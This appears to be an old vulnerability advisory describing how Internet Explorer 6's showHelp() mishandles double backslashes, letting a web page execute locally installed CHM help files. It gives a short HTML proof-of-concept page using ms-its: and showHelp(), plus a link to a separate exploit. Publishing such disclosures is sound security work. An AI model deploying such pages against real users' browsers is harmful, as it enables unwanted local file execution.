A weakness in the way Microsoft IE fails to handle double backslashes in Showhelp() allows for yet another way to locally execute files.
e6025e6f855e3e86bba8dbca696e934acbd452d1a4f6b0fc2d7ce31157ceecb1
advisory#3
/--------------------------------------------------------------------/
Vendor: Microsoft Corp.
product: IE.6
test machine: winxp.pro.ed ,ie6 (FP)
Discovery by: Roozbeh Afrasiabi
(roozbeh_afrasiabi(At)yahoo(dot)com)
Risk: Low
Title: Showhelp() local CHM file execution
/--------------------------------------------------------------------/
TABLE OF CONTENTS:
==================
Description..............................................1
PoC......................................................2
Exploit..................................................3
Contact info.............................................4
Disclaimer...............................................5
1)Description:
==================
While previous patches were to stop showhelp from executing CHM files
using their path, a weakness in the way the double "\" is handled by
the its protocol handler allows for the execution of locally installed
CHM files.when "\\" is placed before the name of target CHM file the
HELP folder is searched for such name , if the help folder dose not
contain a file with that name then the rootdrive would be the next
path to be searched,when a file with that name is found in either of
these paths it would be executed .
2)POC
=========
<html>
<head>
<title>POC</title>
<p><br><b>HTM help file opened in an iframe</b><br><br>
<iframe id="target" width="700" height="400" src="ms-its:" name="target" scrolling="yes">
</iframe>
<!----SCRIPT LANGUAGE=javascript>
function getlink(){
showHelp("ms-its:\\ntshared.chm::/copyright.htm");
target.location="ms-its:\\ntshared.chm::/copyright.htm";
}
<!-----/script>
</head>
<body onload=getlink()>
</body>
</html>
3)Exploit
===========
https://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm
4)Contact Info
==================
roozbeh_afrasiabi(at)yahoo(dot)com
da_stone_cold_killer(at)yahoo(dot)com
me@persia-fars-shiraz
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.2.1 (MingW32) - WinPT 0.7.96rc1
mQGiBEBVbGoRBACT+S7j6awJjH8ctpioGfdmQzfwxd/M5vcafFpWjYTb2g4NINfB
gzbXFANzOMDcXhmrQysvgeFl7smhFVKDl0c7dtsqvgn5pydfXRCljZwrSQAwE/PS
vSSzV7QhEI5zLWkpieyjZhlxCYtHlxma36pBx3ZpPPDfAFNpW0QBB94rxwCgoZO9
TR/YXs19bOipfffI02dv758EAILHfEHXNkb050yaU8y47JJXl64OOnQcwgNafLa4
cEyYSRYwkZUqnBX6xmB/hy8J9AnmED7tjKLSqrupJivrxueSwbNom+QN2cPpWv+i
MZXGgMLZAOrlAi4R7gGBAIq7K+Ow0Z4/FQMH3Aryw9WkBlDK7bChfLeoAXNrQAWG
kfgKA/47WQN0SAD9KSmbdMB6q8EE7sD7vYkZWIg+j4JJaWskdN7qCbSB6EBnWKQb
6gE2999nlphhmcUjS1TgjUgCLHjQ9lMIWr0Zec8NmcZyEVnEKgjHK7MkvocLpT7h
zYkVMO9HLecllYr6FrnNtWpOw/X7FVhSkNIKgNNZQ0Z3Xi3Z57RQcm9vemJlaCBh
ZnJhc2lhYmkgKHJvb3piZWhfYWZyYXNpYWJpQHlhaG9vLmNvbSkgPGRhX3N0b25l
X2NvbGRfa2lsbGVyQHlhaG9vLmNvbT6IWQQTEQIAGQUCQFVsagQLBwMCAxUCAwMW
AgECHgECF4AACgkQLh+KhhfWhDXgTwCeKAVoNkUjYqBbWu+l3WfArf4+vwkAoIjx
rBC/FnLEJDuSJ5SuLho04QtOuOsEQFVscwEHAL5OyxFo1eAwGijoPfIwQPINLuvr
bo7WVzwGmUXvvZsbLvMjc80zdUD2PaZr1kurZwqE13If+XzpNZdlFfmjtYKST+s8
8lwnzK2ososE0m4uT1MatHQxK3HNKIDRUOg7TC8PaPD+FUYntcdUYs3bdror7179
kOIfM7/ZtCQuWoqFMOZiCTd7PUSgmEXsUWoNzlNmGJmZMgSc0MtAFiGDys3sA5fK
8JyOA0rQHvmcne1Xh9P4aA9+mutSGnx/4mFPYLdDFBA5go5B0XOPrjQelxQlRAAU
xmWk0kgx+X25WRK/AAYpiEYEGBECAAYFAkBVbHMACgkQLh+KhhfWhDUH4wCfZ/83
xkEvaT1IWeaDemU5dYAysPsAnRP6Qyw1DM3gHhxl6m+bjEwPX6AG
=q+hK
-----END PGP PUBLIC KEY BLOCK-----
5)Disclaimer
==================
Roozbeh Afrasiabi is not responsible for the misuse of the information provided in this report. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this advisory. Any use of the information is at the user's own risk.
All Rights Reserved
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed